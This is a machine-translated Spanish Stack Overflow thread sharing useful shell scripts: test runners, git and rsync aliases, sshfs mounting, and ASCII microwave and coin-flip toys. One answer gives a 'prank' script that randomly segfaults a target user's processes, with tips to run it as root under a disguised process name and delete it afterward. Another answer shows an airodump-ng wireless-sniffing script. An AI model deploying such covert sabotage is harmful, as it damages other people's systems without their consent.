2010-11-03 13 views
8

Me gusta la idea de poder automatizar mi computadora con scripts de shell, pero estoy perdido por lo que realmente podría hacer.¿Cuáles son algunos guiones de shell interesantes?

¿Utiliza o ha visto shell scripts utilizados de una manera novedosa, ya sea en un servidor, un ordenador personal, netbook, etc.?

Algunos ejemplos que estaba pensando:

  • duración de la batería Optimizar: apagar servicios, la modificación del brillo, el cierre de programas que podrían quedar abierto, pero son innecesarios, etc
  • Crear perfiles de espacio de trabajo: abren un conjunto de aplicaciones y realizar acciones para la escuela, el trabajo, etc.
  • Bromas en las computadoras de otras personas: algunos que ha encontrado interesante ... :)

realmente interesado en saber lo que puede que tenga que compartir, gracias!

+3

Dado que está buscando una lista de respuestas, debe marcar esto como Community Wiki; para ello, marque la pequeña casilla que se encuentra en la parte inferior derecha del área de texto de la pregunta –

+0

@Wayne, ¿puede ver esa casilla? Alguna de tus preguntas? :-) Consulte http://meta.stackexchange.com/questions/392/should-the-community-wiki-police-be-shut-down/7183#7183 - "Los usuarios finales ya no pueden marcar las preguntas wiki". – paxdiablo

+0

Bueno, han pasado unos meses desde que participé activamente, paxdiablo, ¡y la última vez que cometí ese error podría volver y solucionarlo! Mi error, y por lo tanto marcado para la atención del moderador. ¡Gracias! –

Respuesta

1

Sí. Utilizo y creo guiones todo el tiempo para automatizar varias tareas de trabajo. Un ejemplo de invocación:

some_project_test_suite 

¿Qué es un script que cds en la carpeta donde almaceno some_project, y luego ejecuta una batería de pruebas diferentes en esa carpeta que sería doloroso para escribir en la línea de comandos una y otra vez.

un guión como que podría ser muy simple y ser algo como:

#! /bin/bash 
cd path/to/folder/containing/some_project 
path/to/build/system/binary test_target1 \ 
          test_target2 \ 
          ... 
          test_targetN 

Dicho esto, no estoy seguro de que lo llamaría exactamente esta novela. La automatización debería ser bastante rutinaria.

1

Si está utilizando una computadora de escritorio que utiliza dbus (GNOME, por ejemplo), entonces este artículo podría interesarle.

http://www.linuxjournal.com/article/7744

Algunos de los ejemplos son para la administración de energía. Utilicé un script dbus para actualizar automáticamente mi mensaje de estado de pidgin con comillas aleatorias. Estoy seguro de que hay muchas bromas que podrías hacer con dbus y cron.

3

Tengo unos pocos que he utilizado/no utilizar regularmente.

Uno de ellos era un guión tomó dos parámetros - un archivo .cpp y y archivo de salida. Luego compilaría el archivo y lanzaría el código, realmente útil para programar el código C++ en la escuela. También escribí uno para el ensamblador que compilaría, vincularía y cargaría.

Tengo otros que controlan el brillo de la pantalla, ejecuto varios programas con configuraciones específicas (principalmente cd a un directorio) ... Creo que el que usé más a menudo fue mi script new.c++ que creó un archivo de texto con mi nombre, información de clase, #include s, y más, y se inició vim editando el archivo. Fue súper útil.

Nada tonto, sólo algunas buenas, cosas útiles

2

pienso en secuencias de comandos shell como accesos directos. Son algo que haces con la frecuencia suficiente que tener que escribir los comandos cada vez es una pérdida de tiempo. Incluso pequeños scripts cortos que evitan que tenga que recordar largas listas de argumentos pueden ser útiles si tiene que llamarlos más de unas pocas veces.

Por ejemplo, a menudo tengo que hacer el modo de monitor pasivo de olfateo inalámbrico a través de airodump-ng. A tal fin, tiré esto juntos rápidamente:

#!/bin/bash 

# Make sure we're running as root 
if [[ $EUID -ne 0 ]] 
then 
    echo "This script must be run as root" 1>&2 
    exit 1 
fi 

# Make sure there is an argument 1 
if [[ $# -ne 1 ]] 
then 
    echo "Usage: `basename $0` <fileprefix>" 
    exit 65 
fi 

# Set up the monitor interface 
airmon-ng start wlan0 

# Start Sniffing with the prefix $1 
airodump-ng -w $1 -t OPN --output-format pcap mon0 

# Tear down the monitor interface 
airmon-ng stop mon0 

Aunque cabe señalar que a medida que un script de shell aumenta en complejidad, probablemente debería empezar a considerar volver a escribir en un lenguaje más robusto. Esto debe hacerse antes de que el simple script de shell se convierta en un monstruo de misión crítica que es inmanejable y está lleno de errores, pero de lo que todo depende.

4

guardar todos mis repositorios Git hasta a la fecha:

alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)' 

Para copia de seguridad de mi ordenador a un espacio remoto:

alias backup='rsync -av ~/Documents [email protected]: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"' 
1

También es útil para probar múltiples valores/cosas en cierta programas. Si estás en la escuela y tienes ese tipo de cosas para hacer como yo lo hago^_^

1

Puedes multiplicar los posibles casos de uso con herramientas como zenity, que ofrecen primitivas de widgets para scripts de shell.

Con esa ayuda, he hecho un script de gestión para nuestro portátil, que permite el control de nuestro ordenador de sobremesa:

  • Wake-on-LAN, si parece desconectado
  • montar mi directorio allí a través SSHFS
  • iniciando una copia de seguridad
  • ...

y el efecto secundario interesante es, que debido a zenity mi otra fa Los miembros de myily también pueden usar el script.

3

Aquí es una broma divertida

#!/bin/bash 
user=$1 
while true ; do 
    kill -SEGV $(ps -u $user -o pid= | random | tail -n 1) 
    sleep $RANDOM 
done 

Cada pocos minutos un programa de propiedad de $ usuario se segfault. Es mejor si se ejecuta como root y se le da un nombre inocente, pero ejecutarlo como $ user también funciona. Guarde el script como, por ejemplo, "Xterm" o "kded" o "gnome-session", chmod a + x el guión, y luego llamar así:

$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname 

Esto le enseñará a sus amigos no salir de sus sistemas desbloqueado. Esta implementación usa al azar de bsdgames, pero puede hacer la selección de otra manera.

1

En mi netbook escribí algunas secuencias de comandos bash que se llamaban en el momento del arranque y periódicamente una vez que la computadora estaba encendida. Montaría mi sistema de archivos remoto si hubiera una conexión a internet disponible. Esto implicó inspeccionar mis interfaces de red y montar el sistema de archivos remoto con una excelente pieza de software llamada sshfs. Fue realmente agradable: si mi netbook graznara, mis datos RAID alejados seguían siendo bonitos.

0

Hice un par. Aquí hay un microondas falso para su terminal:

#!/bin/bash 

clear 
echo "What would you like to microwave?" 
echo " " 
echo "1) Pizza 2) Ramen 3) Hot Dog" 
echo "4) S'mores  5) Tin Foil" 
echo " " 
read -p ">> " ans 
case $ans in 
    1) 
    clear 
    echo " _________" 
    echo "|.----.|__|" 
    echo "|| <] ||++|" 
    echo "|'----'|__|" 
    sleep 2 
    clear 
    echo " _________" 
    echo "|.----.|3_|" 
    echo "|| <] ||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 0.2 
    clear 
    echo " _________" 
    echo "|.----.|30|" 
    echo "|| <] ||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 1 
    tmr=30 
    for run in {30..10} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|"$tmr"|" 
    echo "|| <] ||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    for run in {9..0} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|0"$tmr"|" 
    echo "|| <] ||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    clear 
    echo " _________" 
    echo "|.----.|00|" 
    echo "|| <] ||++|" 
    echo "|'----'|__|" 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    exit 
    ;& 

    2) 
    clear 
    echo " _________" 
    echo "|.----.|__|" 
    echo "||[~~]||++|" 
    echo "|'----'|__|" 
    sleep 2 
    clear 
    echo " _________" 
    echo "|.----.|3_|" 
    echo "||[~~]||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 0.2 
    clear 
    echo " _________" 
    echo "|.----.|30|" 
    echo "||[~~]||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 1 
    tmr=30 
    for run in {30..10} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|"$tmr"|" 
    echo "||[~~]||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    for run in {9..0} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|0"$tmr"|" 
    echo "||[~~]||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    clear 
    echo " _________" 
    echo "|.----.|00|" 
    echo "||[~~]||++|" 
    echo "|'----'|__|" 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    exit 
    ;& 

    3) 
    clear 
    echo " _________" 
    echo "|.----.|__|" 
    echo "|| [|]||++|" 
    echo "|'----'|__|" 
    sleep 2 
    clear 
    echo " _________" 
    echo "|.----.|3_|" 
    echo "|| [|]||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 0.2 
    clear 
    echo " _________" 
    echo "|.----.|30|" 
    echo "|| [|]||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 1 
    tmr=30 
    for run in {30..10} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|"$tmr"|" 
    echo "|| [|]||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    for run in {9..0} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|0"$tmr"|" 
    echo "|| [|]||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    clear 
    echo " _________" 
    echo "|.----.|00|" 
    echo "|| [|]||++|" 
    echo "|'----'|__|" 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    exit 
    ;& 

    4) 
    clear 
    echo " _________" 
    echo "|.----.|__|" 
    echo "|| == ||++|" 
    echo "|'----'|__|" 
    sleep 2 
    clear 
    echo " _________" 
    echo "|.----.|3_|" 
    echo "|| == ||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 0.2 
    clear 
    echo " _________" 
    echo "|.----.|30|" 
    echo "|| == ||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 1 
    tmr=30 
    for run in {30..10} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|"$tmr"|" 
    echo "|| == ||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    for run in {9..0} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|0"$tmr"|" 
    echo "|| == ||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 1000 
    ((tmr--)) 
    done 
    clear 
    echo " _________" 
    echo "|.----.|00|" 
    echo "|| == ||++|" 
    echo "|'----'|__|" 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    beep -f 1000 -l 500 
    sleep 1 
    exit 
    ;& 

    5) 
    clear 
    echo " _________" 
    echo "|.----.|__|" 
    echo "||<^><||++|" 
    echo "|'----'|__|" 
    sleep 2 
    clear 
    echo " _________" 
    echo "|.----.|3_|" 
    echo "||<^><||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 0.2 
    clear 
    echo " _________" 
    echo "|.----.|30|" 
    echo "||<^><||++|" 
    echo "|'----'|__|" 
    beep -f 200 -d 0 -l 5 -r 10 
    sleep 1 
    tmr=30 
    for run in {30..25} 
    do 
    clear 
    echo " _________" 
    echo "|.----.|"$tmr"|" 
    echo "||<^><||++|" 
    echo "|'----'|__|" 
    beep -f 50 -l 5 -d 0 -r 100 
    ((tmr--)) 
    done 
    clear 
    echo " . _" 
    echo " 23vxxas" 
    echo " >553eSD34|" 
    echo "|XFDADSff3|" 
    echo "" 
    echo "Oh no! You blew up the microwave!" 
    freq=1000 
    for run in {1000..200} 
    do 
    beep -f $freq -l 1 
    ((freq--)) 
    done 
    exit 
    ;& 
esac 

y una "aleta de monedas".

#!/bin/bash 

clear 
echo "Flipping a coin..." 
echo "" 
echo "   _" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "   _" 
echo "" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "   \\" 
echo "" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "   -" 
echo "" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "   /" 
echo "" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "   -" 
echo "" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "" 
echo "   \\" 
sleep 0.2 
clear 
echo "Flipping a coin..." 
echo "" 
echo "   _" 
sleep 2 
clear 
echo "The coin says..." 
BINR=$(((RANDOM % 2) + 0)) 
if [ $BINR == 1 ] 
then 
AYS="HEADS" 
fi 
if [ $BINR == 0 ] 
then 
AYS="TAILS" 
fi 
sleep 2 
echo "  _____ " 
echo " /"$AYS"\\" 
echo " \\_____/" 
echo " \\|||||/" 
beep -f $(((RANDOM % 1000)+ 300)) -d 0 -l 500 

Ambos requieren que haya instalado "beep". Si su distribución lo admite, instálelo con apt-get install beep o apt install beep.

Cuestiones relacionadas